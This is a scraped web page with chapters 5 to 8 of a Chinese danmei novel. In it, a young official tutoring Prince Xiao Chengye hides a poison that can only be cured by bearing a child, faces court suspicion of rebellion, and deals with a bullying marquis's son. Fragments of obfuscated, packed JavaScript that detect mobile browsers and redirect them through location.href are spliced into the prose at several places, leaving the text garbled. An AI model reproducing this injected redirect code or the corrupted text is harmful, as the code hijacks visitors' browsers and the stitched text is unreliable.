0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15115960|164156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前的少年有什么异样,梁王师保的职位不能辞,他尚不知话本里的全部细节,也不知这件事有没有连累谢家,更不知道自己的命运最终走向何地——若梁王真是反贼,那他必须计划如何改变这一切,起码把这件事尽可能化小。 “那好。”萧承野轻笑了声,抬眸看向青年,朝他伸出了手:“那以后,大人就是小王的铁哥们,若周三那群人再欺负你,小王替你出气。” 谢少淮:“……” 看了看少年一巴掌能拍死他的铁掌,伸手再他指腹握了一下:“多谢殿下。” “嗯……”萧承野挠了挠头,谢六郎的手好软好滑,他第一次摸这么好摸的手,萧承野收了自己的手,细细回味了一下方才的触感,才笑笑道:“那今日……时间也不早了,大人在小王这里吃饭吧?” 少年盛情邀请,谢少淮也只好从了他,带着青松在梁王府吃了午膳,又与少年下了一个多时辰的棋,回府的时候,天色已经沉的下来。 忙活的一整日,谢少淮身子乏得厉害。 太医说他的病以后月月要发作一次,而阵痛散的药性会随着服用的日子,逐渐失去药效,所以这几日的药谢少淮逐天减少,即便那情毒发作的日子已经过去,但身子仍旧好不利索。 青松架着车,身边带着大包小包从梁王府打包回来的精致糕点,乐呵呵的和公子说今日在王府的事儿:“没想到小王爷的人还不错!见公子多吃了几口杏仁糕,便打包了这么多!” “您身子不舒服这几日,吃的可少了,”青松自言自语:“夫人若是知道您爱吃杏仁糕,指不定明日就找丞相大人去梁王府求厨子了,这下好了,梁王殿下这么尊敬公子,以后也不用夫人着急了,真好!” 谢少淮:“……” “吃东西还堵不上你的嘴。” 青松:“嘿嘿,公子不要笑话青松了,青松真为公子开心!亲王的师保可是正三品的官阶,公子不过才刚过了二十岁的生日,俯瞰整个大周朝,哪里有比公子还厉害的人物?” 谢少淮:“……” 不知怎地,谢少淮被青松一席话勾起在梁王府听少年的那番话,当世治世主流学派乃是儒学,少年却唯爱自己那套学术,且天子的话都不能让其动容,少年轻狂,不见青天高黄地厚。 谢少淮拢了拢身上的大氅,掀开帘子,见窗外一袭月色朦胧,眸色不禁溢出几分羡:“来日方长。” “是啊,”青松笑嘻嘻符合他家公子一句:“来日方长!等公子娶了赘婿,养好了身子,来年就是公子大施拳脚的机会!” 谢少淮:“……” 大氅下的手不自觉摸了摸平展的小腹:“哪壶不开提哪壶。” “才不是青松瞎说呢!”青松道:“青松昨日去府上的时候,听老爷和夫人说了,家里给公子挑了好几个郎君呢,就等商议好,再一一好带给公子过眼。” 谢少淮:“嗯?” 差点忘了这件事,谢少淮倏地拉开了帘子,问青松:“当真?” 5. 第 5 章 谢少淮独居,与谢家老宅乘马车还要走上半个时辰呢。谢父谢母年事已高不太方便走动,谢少淮公务繁忙自然也不经常自己回去。 所以青松就替他家公子走动,时常去府上取老夫人做的糕点饭菜。 这件事还是他去拿公子冬衣的时候听说的,老夫人性格很好,见他过来了又同他问了公子的喜好,青松顺道说了,便也知道老夫人看中了哪家公子。 “是的,”青松想了想,笑呵呵地看着他家公子:“有御史中丞家的梁三公子,还有礼部的袁公子,还有还有……” 谢少淮:“……” 倒是忘了还有这件事,母亲和父亲想必也一直记挂他。可如今太医署的阵痛散还有用,若是按照他的性子,定是不想这时候办亲事的。 那两年后,他的阵痛散不管用了,梁王向朝廷求他,大战一触即发,若果是那种情况,自己同意嫁给梁王为他生孩子,也是合理的。 “倒是忘了这件事,”谢少淮眸子沉了沉,“改日去一趟府上吧。” 青松点了点头:“嗯!”说罢,青松回眸余光却扫见他家公子有些落寞的眼神,心里狠狠揪了一下。 他家公子,好像并不是很开心…… 翌日一早,谢少淮起床洗漱,青松给他家公子拿来大氅:“今早上又落了雪呢,公子穿厚些吧。” 谢少淮洗漱完,拿了帕子擦手,“嗯,让你备的云水茶备上了吗?” “都备好了,公子真的贴心,知道老夫人喜欢,次次去了都带着呢。”说罢,青松给他家公子穿上大氅,这次青松又看见公子眉宇间的沟壑,缓了好半天,他还是没忍住怯懦懦的问了一句:“公子,您是不是不愿意成婚啊。” 谢少淮少年入仕,整个长安城都说他家公子是少年神童,人人艳羡。可青松从小就跟着他家公子读书,冬夏春秋,惊蛰大寒,公子从不缺课,夜里更是挑灯不息,他有时候纳闷,公子为何这么爱学习,公子却告诉他,大丈夫志在报国,他家公子向往的,一直都是做个对百姓和朝廷有用的能臣。 虽说大周朝民风开放,可男子生子之事史无前例,这样的倒霉事却不偏不倚砸在他家公子头上——公子怎么会不难过呢? “瞎想什么?”谢少淮看着鼻子一红的青松,就是万般忧愁,也被他这一鼻子眼泪洗去了,“不是不愿成婚,只是有些唏嘘,也不知道生孩子疼不疼……” 青松:“。” “公子放心好了,有太医在,您一定不会疼的!” “嗯……走吧,”谢少淮自己系上大氅,浅色的眸子抬了抬,示意青松:“一会儿还要去梁王府上授课,万不能耽误。” 青松见他家公子笑了,也跟着笑了:“好!” 早上的寒酥越下越大,到了谢府的时候已经到了脚踝深浅,谢少淮进了府先去看了母亲,喝了一盏茶的功夫不到,谢父急匆匆地进了府。 随着父亲一起过来的还有谢五郎。 谢五郎在宫里任了卫军统领的职位,负责管理整个长乐宫的安保,素日里两人不在一起回府,怎么这才辰时刚过就一起回来了? 谢五郎搀扶着父亲,身边跟着一众小厮,谢父常服还未褪下,神色凝重,“快,快快去找六郎回来。” 谢母见状,也顾不上什么体统,急忙迎了上去:“这是怎么了?” 谢少淮也随母亲上前,提五哥扶上父亲:“爹,五哥,出什么事情了?” 谢父见谢少淮在府上,扫视了一圈,像是看到什么救命稻草一样,连拉着谢少淮的胳膊:“六郎在,六郎在的好,去书房,随父亲去书房一趟。” 谢五郎其实也不知道父亲这是怎么了,他正当值,和几个哥们在巡逻,午门的统领突然找来,说是爹爹和一众文臣在朝上打起来了,还没说什么缘由,圣上就发了怒,上朝的一群老头都被赶回来了,他接到爹爹的时候,爹爹正扯着周太师的发冠,他只知道:“爹爹被揍了!陛下发了好大的火!” “别说了,别说了!”谢父一介武将,虽然年过花甲,却还没出过这样的丑,“六郎,扶爹爹去书房。” 谢少淮蹙眉,“是。” 谢少淮忧心,随着父亲一起进了书房,还未安抚,谢父就赶紧起身将书房的门窗关上,又巡查一圈儿,见确实没人了,才急匆匆瘫坐在太师椅上,捧着一壶茶水,牛饮下腹:“完了,全完了!” 谢少淮:“父亲,到底出什么事情了?” “梁王,梁王要反啊,” 谢父饮完茶,转头看向自己的小儿子,他们今年是反了什么冲啊!一个男人要给男人生孩子就算了,眼下刚升了职,主子就要造反,若是这件事牵连他们六郎,可如何是好啊? 谢父:“今日爹爹早上先见了你舅舅,探子来报,说梁王和琢州的起义军有书信往来,这件事陛下本不知道,但今日一上朝便立刻有人弹劾卫家,这明摆着是给咱们下套啊!” 谢少淮:“……” 谢父身为当朝太尉,从琢州地带起义开始,便一直负责这件事,朝廷前前后后也派出不少武将前去镇压,眼看着起义军的规模是越来越大——梁王果然和这件事有牵扯。 谢少淮眉心倏地又蹙紧了:“那父亲既说这件事陛下还不知道,那还有待商榷,且孩儿和梁王爷不过刚刚见面,这件事定不会牵扯到孩儿的,父亲不必这么担心。” “儿啊,你还不懂吗?这是陛下要对我谢家动手啊,” 谢父虽不是文臣,但也为官多年,眼下梁王人在长安,怎么会和起义军有牵扯?陛下这明摆着是要借此除去梁王和他们谢家! 谢父:“梁王来长安本就是人质,他如何和起义军牵连?父亲身居太尉你舅舅又是当朝宰相,功高盖主,必受其反,陛下这是要……嗐,不说也罢不说也罢,儿啊眼下你切不能再去梁王府了,只要你不去,最多就是父亲告老还乡,我儿丢不了命,丢不了性命。” 谢少淮:“……” 若真如父亲所说,那他谢家和母亲一族又谈何保命? 但是他知道,梁王必反,到时候不仅是他谢、傅两家性命难保,整个大周朝的百姓也必将陷入水火。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15115961|164156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 话本预知未来是真的。 谢少淮安抚好父亲,“这件事没那么简单,既然眼下陛下还不知梁王的事情,那倒不如……倒不如让孩儿再观察些日子,若梁王要反,孩儿定不包庇,只要上报朝廷,我谢家也只能是功臣。” “这?”谢父难以置信地看着自己的小儿子,这孩子从小就聪慧过人,难道在梁王府他知道了些什么:“我儿?可是知道些什么?” 谢少淮点了点头:“嗯……” 谢少淮之前并不确定梁王是不是反贼,毕竟他记不清那反贼的容貌和身份,只知道是王爷。 可眼下诸多事迹来看,这反贼定是梁王,“孩儿还不确定,但诺陛下真想动谢家,我们是躲不过去的……” 谢少淮说完,谢父陷入的沉默。自古以来功高盖主的权臣,有哪一个是落得善终的?更别他他谢某一介草寇出身,若全身而退,陛下又岂能安心? 他死不悔,可谢府几十口人命,又该如何善终?思及此,谢父一行老泪落下:“我儿长大了。” 从谢府出来,谢少淮愁容难消,青松也不知发生了什么,只知道他家公子好像不开心了。去梁王府的一路,青松都没找到和公子搭话的机会,等正午时分,他们的马车在王府后门停下。 青松停下马车,便着急忙慌掀开帘子,“公子,若是您不舒服,就告假吧,殿下对公子这么好,肯定不会计较的。” 尽管谢少淮一路上尽可能控制自己的情绪,但这么一件事砸下来,事关两家的安危,他又如何在半个时辰就缓过来。 谢少淮捏了捏眉心:“……无碍。” 谢少淮靠着软枕阖了阖眸,许是因为情绪激动,下腹又传来一阵阵绞痛,还不等他细思该怎么办,这时候从后院传来一记爽朗的少年声:“好像是少淮兄来了?” 萧承野今日特意将自己的马尾束了起来,换上了皇兄给他一早备好的王爷服侍,还挂着一个香包,虽然没有他平时的衣服穿着舒服,但是瞧着确实正经了不少。 谢少淮穿的就正正经经,想必他也穿的正经了,定能讨人欢喜。 萧承野在后门等了有半个时辰了,终于听到了马车的声音,出门一看果然是谢少淮的马车,他又整理了一下发冠,急忙迎了出去:“少淮兄,你来的刚好,小王刚准备好你爱吃的茶糕,快进来尝尝?” 轿撵内的谢少淮闻言掀开了帘子,冷冷朝着门后的少年扫了一眼:“……” “少淮……兄?”萧承野钝感力差,但也感觉到青年似乎不太开心,他站在原地,有些不知所措:“你,你怎么了?” 谢少淮:“……” 片刻间,谢少淮把改变命运的种种可能在脑海里过了一遍,眸色由深到浅,最终落在面前的少年身上。 “没有,”青年下了马车,走到萧承野跟前,给他整理了一下衣襟,浓稠地长睫微微煽动:“殿下的领子歪了。” 距离突然拉近,少年的心咯噔一下,目光落在谢少淮秀俊的脸庞上…… 少淮兄的唇一直都这么粉粉的吗? 6. 第 6 章 一袭凌冽萧风,裹扎着淡淡的墨香扑在萧承野的脸上,将少年要被勾走的魂儿都拽了回来。青年给他整理好衣襟,又规行矩步地往后退了一步,拱手朝着他行了个礼。 谢少淮:“殿下,失礼了。” 萧承野这才发现自己方才好像……盯着少淮兄看了好久,不知怎地,顿感局促,脸刷地就烧了起来,“没,没事,大家都是好朋友。” 说着,萧承野又发现青年还站在风口,急忙侧身挪开,眼睛也不再往青年脸上看:“快,少淮兄快进去,这里风大。” “嗯。”谢少淮握拳掩面轻轻咳了声,眼角余光也从少年那张局促的脸上挪开,随之拢着大氅,走进梁王府。 谢少淮走进府中,青松也跟着王府的管事将马车驶了进来,少年则走在最后,像是在掩饰什么似得,用手使劲儿搓了搓脸颊,又仰天长吁了几口气。 谢少淮走在前面,微微侧眸,身后的场景一览无余。 谢少淮自然知道萧承野在做什么,方才少年与他对视的眼神,他曾在不少男子脸上见过青涩、炙热、贪婪的凝视—— 他记不清在话本里,萧承野是何时对自己有想法的,但从少年方才的眼神里不难看出梁王此刻对他的态度。 到了书房,谢少淮将自己带过来的兵书拿给少年,“殿下,昨日您说的几本书,刚好父亲都有收藏,殿下看看这几本可是原著?” “哦……”萧承野甚少穿复杂的服侍,今日换上,行走多有不便,他也说不上来是哪里不舒服。 反正哪哪都不对劲,太厚,热得慌。 萧承野在青年书案前一人远的小几上停下,让书童将谢少淮的书拿了过来,他其实已经有了誊录的版本,只是没想到随口一说,少淮兄就将原著找来了。 翻看了两下,与他之前看过的内容一致,他也没有那等名流珍藏的爱好,便又送回去了:“少淮兄这个十分珍贵,小王看誊录的版本就行,你还是拿回去收藏吧。” 谢少淮:“……” “也好。” 萧承野:“嗯……”不知再说什么了。 萧承野常年席地而眠,眼下坐在巴掌大的小几前,十分局促,胳膊肘都伸不开,还有衣服,实在太多了,好麻烦。 少年在座位上折腾来折腾去,谢少淮心里揣着事,静不下心,便收起了手里的书,目光再次落在一旁的少年身上。 谢少淮:“殿下——” 萧承野:“少淮兄……” 谢少淮话音刚落,萧承野也刚好抬眸向他看去。他们仅隔着一人远的距离,四目相对,目光触碰,萧承野一看青年的那双眼睛,就不自觉地往下看去,又看到他的唇瓣,满脑子就是他说话间微微露出来的一点洁白皓齿, 萧承野:“少淮兄先说……” 谢少淮:“殿下先说……” 两人几乎又是一同开口,只是这次说完,少年便倏地垂了垂眸,不再抬眸。 谢少淮便直接说了:“下官这几日家中有些琐事要处理,日后来府上授课,可否如今日一样改到午时后。” “午后……”萧承野闻言抬眸又看了一眼谢少淮,少淮兄每次来他府上授课,都要待够两个时辰才行,若午后再过来,等回去的时候天都要黑了,而且他的身体……好像也不太好…… 萧承野一口答应:“可以,只是天沉的早,小王怕少淮兄夜里回去再受了寒。” 谢少淮:“无碍,就半个时辰的路程,不打紧。” “那,那好。”萧承野抬了抬唇,“小王府上很多空着的客房,若是天色太晚,也有少淮兄住的地方……” 少年头脑一热就把自己心里的话说了出来,说到一半他才反应过来,少淮兄还未婚配,于情于理住在他府上都不好,而且……而且他好像还有点期待? 萧承野:“小王不是那个意思?就是……就是太晚了,小王就亲自护送少淮兄回去。” 谢少淮:“……” “多谢殿下。” “不客气。”萧承野现在恨不得找个地缝钻进去,细细回味一下,更想一头撞死算了,他方才说了什么?他竟然想要少淮兄住在他……住在他府上? 萧承野心里暗暗叹了口气,缓了好半天都不敢再和青年搭话,最后看书看的实在无聊,又听见静心翻阅的青年轻咳了两声,这才忍不住又问了一句:“少淮兄……小王倒是忘了问你,你生了什么病?小王自小在琢州长大,那西北三州擅长药蛊的能人异士奇多,说不定小王能帮上忙呢?” “……”谢少淮闻言,清了清自己的思绪,将目光再次落在少年身上。 他今日穿了一件宽敞的氅衣,衣袖宽松,被少年提及此事,袖子下的手不自觉往腹部靠了靠:“倒不是什么大病——” “殿下!” “殿下是我啊,周三郎!殿下快出来!” “惊天大秘密!殿下快出来!” 谢少淮的话说到一半,书房外突然传来几声高声呼喊,书房里的两人闻声都停下了手中的事,朝着门外看去。 见状,书童急匆匆地打开了门,萧承野自然听出来来人是谁,连忙从小几前起来,随手拿着自己放在房间里的红缨枪就冲了出去。 少年惦着长枪出门,临出门前不忘朝房间内的谢少淮解释一句:“府上进贼了,少,少淮兄在这里休息一下,小王去去就回。” 少年听到声音明显慌张了几分,说进贼的话自然也是假的,这可是梁王府,那个小贼光天化日之下来亲王府行窃? 谢少淮随之跟上,“殿下。” 院子里,王府的管事听到内院有了动静,连忙带着一种护卫赶了过来。 来人不是别人,正是冠英侯家的小公子,只是他们家王爷自见了谢师保之后便交代了,日后不允洗他们这群纨绔再进府。 但来人毕竟也是太后的亲侄儿,刘管事万万不敢伤了人,只好带着护卫守在院墙下,急的直跺脚:“小侯爷,王爷交代了,日后不见小侯爷,您您您怎么又来了?” 刘管事:“使不得使不得,摔了可如何是好?您快下去吧!” 周崇他可是冠英侯的嫡亲儿子,他姑母可是当朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15115962|164156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太后,他萧承野说不让他来他就不来了?那岂不是很没面子?而且他今天是为了萧承野好吧?! 周崇这几日为了进梁王府可耗费了不少脑力,好容易找到一处能爬墙的地方,他怎么能无功而返?! 周崇脚下踩着自己的小厮,那小东西左右晃悠,自己压根就站不稳,只能双手牢牢扒拉着瓦片:“刘,刘管事,本世子可是有要事找殿下,你快,快搬过来梯子,不然本世子要你好看!” 正在刘管事一筹莫展的时候,只听哐当一声,一抹红缨枪从后院的书房处快速驰来:“狗杂种,到小王这里撒野来了。” 等众人还没反应过来之时,少年已经跃上墙头,手上的长枪朝着扒拉着瓦片的周崇挑去——慌张之下,周崇吓的屁滚尿流,不知怎地就抱住了少年的大腿:“殿下饶命!” 萧承野:“滚下去。” 两个少年一站一趴立在墙头上,周崇抓着人不放,萧承野也不好真的用长枪捅人,只好用尾端戳去,“混蛋,放开小王——” “啊啊啊啊疼疼疼……”周崇死也不放手,一边扒拉的更紧,一边用脚瞪着身下的小厮:“我我我我真有大事儿要说,别打了别打了,是谢六郎的事情!” 萧承野:“……” 周家这几个狗东西之前没少和他说少淮兄的坏话,若不是他们这几个混蛋,他第一天见少淮兄的时候也不会那么无礼——而且少淮兄还在府上,若是见到自己还和他们纠缠不清,日后不愿同他做好友了怎么办? “小王不听!”说罢,少年脚尖一挑长枪,就要揍人,恰逢这时候谢少淮追了出来,见梁王动手,连忙制止:“殿下,万不可伤人——” 说那迟那时快,就在萧承野的长枪尾端落在少年身上的时候,听到了身后青年的制止声,他竟本能错了方向,枪柄砸向墙头“轰”地一声,精致的瓦片随着袭击碎落一地。 周崇反应过来,又赶紧抓着少年的大腿爬上了墙头:“刘管事救救本世子!”说完两眼一闭,朝着院子里的花圃砸去。 萧承野收回长枪,垂头从墙头上跳下来,精致秀美的华服被弄得脏乱不堪,连发冠都有些歪了。 谢少淮站在庭院,从头到尾看完了这场闹剧:“……” “哎呦!疼死本世子了!” 周崇成功进了梁王府,摔了个四仰八叉,被刘管事和一众护卫扶了起来:“本世子都是为你了好,姓萧的你见色忘友!” 萧承野恨得牙痒痒:“你闭嘴——” 萧承野垂头走到青年身边,扶了扶自己歪了的发冠,不敢抬头看人:“他,小王早就不和他们往来了,是他非要来找事的……少淮兄你不会生小王的气吧?” 谢少淮:“……” “殿下你别被他骗了!”周崇揉着自己摔了八瓣的屁股,一瘸一拐走到谢少淮身前,见萧承野护在青年面前,又怂怂往后退了一步:“现现在整个长安城都传遍了,谢六中了邪门的蛊毒,成了不公不母的怪物,整个谢家正在给他偷摸找赘婿呢!” “殿下他他他一定是打上你的主意了!” 7. 第 7 章 周崇从小就看不惯这个谢六郎,因为谢少淮太过优秀,因此他没少被父亲母亲看不起。但之前家里管得严,他最多就是找人诅咒谢少淮突然变成笨蛋。 可现在不一样了! 周崇听大哥说谢家最近要倒霉了!没过多久,他在茶楼吃茶的时候,又听见有人说谢少淮生了怪病,他这么一查下去不要紧,直接查出来谢家要给谢少淮找赘婿! 结果怎么着? 他顺藤摸瓜,从太医署哪里查到了谢少淮的病——身中情毒,每月都要发作一次,必须找男人搞出个孩子才能解决! 周崇一口气说完,爽快极了,他仰头看着一旁脸色发白的谢少淮,就知道自己说的事情不假:“怎么样?谢六,本世子没冤枉你吧?你以后最好是离殿下远点,不然——” “你闭嘴!” 不等周崇说完,方才见了谢少淮才镇定下来的少年又拎着长枪,抬手挑起枪杆朝着满嘴喷粪的周三郎击去:“小王今日打断你的腿——” “殿下……”谢少淮见势不妙,上前抓住了少年的手:“不可乱来。” 因为常年握着长枪的缘故,少年的手带着薄茧,谢少淮甫一握住,正在气头上的萧承野立马懵了—— 少淮兄温热的指腹贴着他的掌心,柔软的触感跟上等的丝绸一样,还热热的…… 少淮兄的手怎么也这么软? 萧承野一紧张,握着长枪的手都点把持不住,反应过来,他敢又不敢地握了握青年的手,以示安慰,“少淮兄,这狗杂种这般羞辱你,小王今天就打服他,日后看他还敢不敢乱嚼舌根!” 谢少淮:“……” 周家的眼线遍布长安,周崇知道他身体的事情一点都不奇怪,若是今日梁王真的因为此事对周崇动了手,那明日冠英侯直接去长乐宫告状——天子对谢家的态度不明,这时候他决不能给家里添乱。 谢少淮仰眸看着萧承野,示意他道:“殿下,下官自己解决便是。” 萧承野不敢看青年的眸子,甫一对上,脸就开始烧,只能跟块木头似得点了点头:“那好……” 谢少淮见少年镇静下来,将自己的手从少年手里抽离,上前握住了萧承野的红缨枪头,看着趾高气昂的周家三郎:“周三郎所言不错,下官确实突生了怪症,只是周三郎方才所言是下官对梁王殿下有非分之想?” 谢少淮毕竟比周崇打上四五岁,在国子监上课的时候受夫子重用,周家几个郎君没有不怕他的,他只是站在少年身前,方才还耀武扬威的周崇立马就生理性的怂了,像是老鼠看见猫似得,往后退了好几步。 周崇:“你,你想干嘛?” 谢少和字字珠玑:“世子可有证据?若今日拿不出证据,诽谤朝廷三品大臣,世子可知按我大周律法该当如何?” 周崇从小就是学渣,哪里知道什么大周律法?但是看谢少淮这么硬气的态度,好好好像很严重啊…… 周崇吓得一连退了好几步,最后一屁股摔在地上,眼泪不受控制哗啦啦地往下掉:“你,你你不要吓唬本世子!你……倒是说啊?诽谤判刑吗?” 谢少淮:“……” 谢少淮拿了萧承野的红缨枪,垂眸冷冷看着地上的草包,“当处劓刑。” “不要!”周崇下意识捂住自己的鼻子:“我……我我我就是随口一说!” 萧承野:“少淮兄,不能便宜这狗东西。” 谢少淮:“……” 谢少和根本不屑于他纠缠,他翩然转身,拿着少年的枪,递了回去:“今日之事下官不与世子追究,劳烦世子不要再乱诽谤谢某清誉,请回吧——” 萧承野接过长枪,不解地看着面前的青年:“少淮兄就这么放过这厮了?” 萧承野:“依小王看,这件事必须去大理寺说清楚。” 谢少淮看着面前能顺着他的意思吓唬人的萧承野,抬了抬唇,少年炫耀一样,朝着挑眉,似乎是在说,小王是不是很帅? 谢少淮微微回眸,看着地上的周崇:“那好——” 周崇:“……” “你说了不计较的!本,本世子还要回家吃饭!先走一步!”说罢,自讨没趣的周崇握着自己的屁股,朝着外头飞奔而去。 谢少淮:“……” 谢少淮收了收神,转身朝着同样‘狼狈不堪’的萧承野看去。 萧承野尴尬地看了自己一眼,挠了挠头:“小王先去换套衣服?” 谢少淮本想直接告辞,回府上看看,结果话还没说完,少年就拎着自己长枪往自己的卧房跑去,他压根没来的急说话,见少年离开,自己也不便不告而别,只好跟着王府的刘管事去前厅吃茶。 青松这时候已经在前厅的小厢房里吃了一盘梅子糕两盘榛子酥,吃的肚皮溜圆,这时候见刘管事带着公子过来,青松便从小厢房溜了出来:“公子,准备回去了吗?” “啊?”王爷吩咐了今夜请城里的酒楼大厨过来烧菜,眼下不过半个时辰就该吃晚饭了,怎么谢师保又要回去? 刘管事:“谢师保不留下吃饭吗?” 谢少淮:“……” “不走,”谢少淮落座和青松说了一声,又看着倒茶的刘管事,道:“今日就劳烦刘管事了。” 刘管事:“不麻烦不麻烦。” 刘管事是从琢州老梁王府过来的,也是王爷身边的老人了,来了长安之后,府上一直冷冷清清的,眼下见王爷和谢师保这么相处得来,高兴还来不及。 刘管事想着顺带给青年倒了茶,这时候谢少淮不知为何,看着刘管事的时候脑海里闪出来一句话,和他那日领旨做梁王师保的时候一样,似乎知道了下一刻刘管事要说什么。 老奴已经好久没有见王爷这么开心了。 刘管事:“老奴已经很久没有见王爷这么开心了。” 谢少淮:“……” “嗯。”青年有些局促地接过茶,“刘管事说笑了。” 谢少淮性子还算陌然,甚少遇到让自己觉得有点尴尬的时候,但听完刘管事这句话,他竟然生了几分局促感…… 有种头皮发麻的奇怪感觉。 刘管事又接着说:“老奴自殿下小的时候便去了梁王府,这么多年……” 谢少淮:“……” 谢少淮生理性不适,打断了刘管事:“谢某突然想起来,殿下善骑射,怎么没去五大营操练守卫军?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15115963|164156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “这个?”被打断的刘管事认真想了想青年的话,“殿下倒是没和老奴说过这个。” “殿下善骑射?”青松乖巧地守在他家公子身边,听见此话,本能想起他家公子前几年学骑马的日子,“我家公子不善骑马,若是殿下有时间能教我家公子哎!” 刘管事喜出望外,心道这两个至交还真是互补:“是吗?” 谢少淮:“……” “青松,不得无礼,谢某是梁王殿下的师保,怎么又让殿下费心的道理。” 青松跟着他家公子在梁王府待了几日,刘管事说梁小王爷特别喜欢他家公子,连带着他也受照顾了,自由了几日,嘴上也没遮拦了,见公子不开心了,青松立马闭上了嘴:“是。” 吃了一一盏茶的功夫,方才去换衣服的少年反回来,甫一进殿,张扬的绯袍就吸引了堂上所有人的目光。 萧承野换好衣服回来:“少淮兄。” 萧承野在琢州的时候,惯爱穿深色的衣服,大多都是束手束脚的葛布衣,舅母时常说他,不似一个王爷,倒像是骑马打猎的沙匪,故而找上好的裁缝给他做了几套绯袍。 这袍子实在招人眼,但是不似长安的亲王服侍繁琐地让人束手束脚,他便换上了。 谢少淮:“这袍子更适合殿下,殿下还未弱冠,不是重要的场合,不戴冠也无妨。” “是吗?”萧承野走进殿内,坐在谢少淮对面,“小王还怕自己总是扎个马尾不合规矩呢,好看吗?” 说着,少年抬眸看了眼谢少淮,“会不会太招摇?” 谢少淮:“好看。” “那就好,少淮兄喜欢就……”萧承野嘴巴一哆嗦,又多说了句,连连岔开话题:“时间不早了,吃饭吧。” “多谢殿下。” “不客气。”萧承野的目光从面前一袭素衣的青年身上离开,心里思考了下周崇方才说的事情。少淮兄现在有困难,一会儿没人的时候,自己可以问问他能不能帮上忙。 用完膳,少年盛情难却要送他回去,谢少淮只好答应,和少年一起乘车回府。 天色已晚,谢少淮也没让青松再去父亲府上。马车从梁王府出发,直接往谢少淮独居的府上去。 到了府前不远处,月色明亮,谢少淮下了车和萧承野步行,青松则驾驶着马车先回去沏茶了。 眼瞧着走到了门口,萧承野踌躇不安,想问的事情还没问出口。 不过少年的局促被谢少淮看在眼里,他在门前停下,回眸看了少年一眼:“殿下是有话要说吗?” “是有……”萧承野垂头走路,差点撞在青年身上,幸好及时停下,“就是周崇说的那些话,他说少淮兄中了什么毒——” 说罢,少年真挚的抬起了眸,看着谢少淮:“少淮兄,小王可能帮上你什么忙?少淮兄放心,小王不是打探你的私事,小王是真心想帮忙,不管多难,上刀山下火海……总之小王一定帮少淮兄做成。” 少年说的急促却带着十分的真诚。 “殿下说笑了。”谢少淮掩面轻笑了声,随后抬眸看着面前的少年,唇瓣轻启:“这种毒要以男子之身产子才能解,这种事情,殿下能帮上什么忙?” 8. 第 8 章 “小王……”谢少淮抬眸看着他,萧承野屡次躲闪,最后避无可避才直视青年,他滚了滚喉,望着那双浅色的眸子,想说的话却又不知怎么说起。 琢州离长安数千里地,一来一回就要小一月时间,先不说少淮兄的毒他不知是什么诱因,就算是知道,也没十足的把握找到解药。 谢少淮目光落在萧承野脸上,像是欣赏一件画轴,将少年脸上的局促不安和羞于表达的情绪收入眼底。 谢少淮莞尔一笑,上前一步,动手给少年整理了一下歪掉的衣襟:“殿下不必担心,下官即为殿下的师保,必会维护好声誉,就是要找赘婿,也是清白人家。” “小王不是这个意思……”萧承野出口解释,但说话间,目光又被身前的青年吸引。 少淮兄名义上是他的师保,给他整理着装并无不妥,可是他与少淮兄挨得这么近,近的他一呼一吸间就能嗅到青年身上淡淡的墨香——是不是太近了些。 谢少淮自然知道萧承野不是这个意思。 “嗯?”谢少淮给少年整理好衣襟,面露诧异,微微退后一步,认真道:“殿下是什么意思?” 萧承野握了握拳,欲言又止,他并没有十足的把握:“小王的意思是……” “难不成殿下要帮下官解毒不是?”谢少淮轻笑一声,正色看着萧承野,语气似在开玩笑:“倒是不曾听说殿下有龙阳之好?” “不是!”萧承野见少淮兄误会,吓的往后退了一大步,“小王怎敢肖想少淮兄?小王没有!小王是……” 萧承野握着拳,垂下眸子,认真道:“琢州地带善用蛊毒的蛊医甚多,若是少淮兄相信,小王可给舅舅送去家书,为少淮兄寻找解药。” 萧承野:“只是,无十足把握。” “殿下此话不敢乱说,”谢少淮闻言,上前一步,倏然捂住了少年的嘴,眸色凝重,认真地看着少年的眼睛道:“眼下涿州地带战乱四起,卫将军还在抗击匈奴,内更有起义军作乱,殿下向圣上请旨,就算真的是为了下官的病着想,也难保他人不会因此猜忌殿下,猜忌卫将军——” “……”萧承野没想到少淮兄突然又靠近自己,唇上温热的触感惹得他的背后倏地冒出了热汗,身子更像是被定住了般,不知该如何是好。 谢少淮说罢,示意萧承野不要在说联系琢州的事,然后才慢慢松开人:“下官冒犯殿下了。” 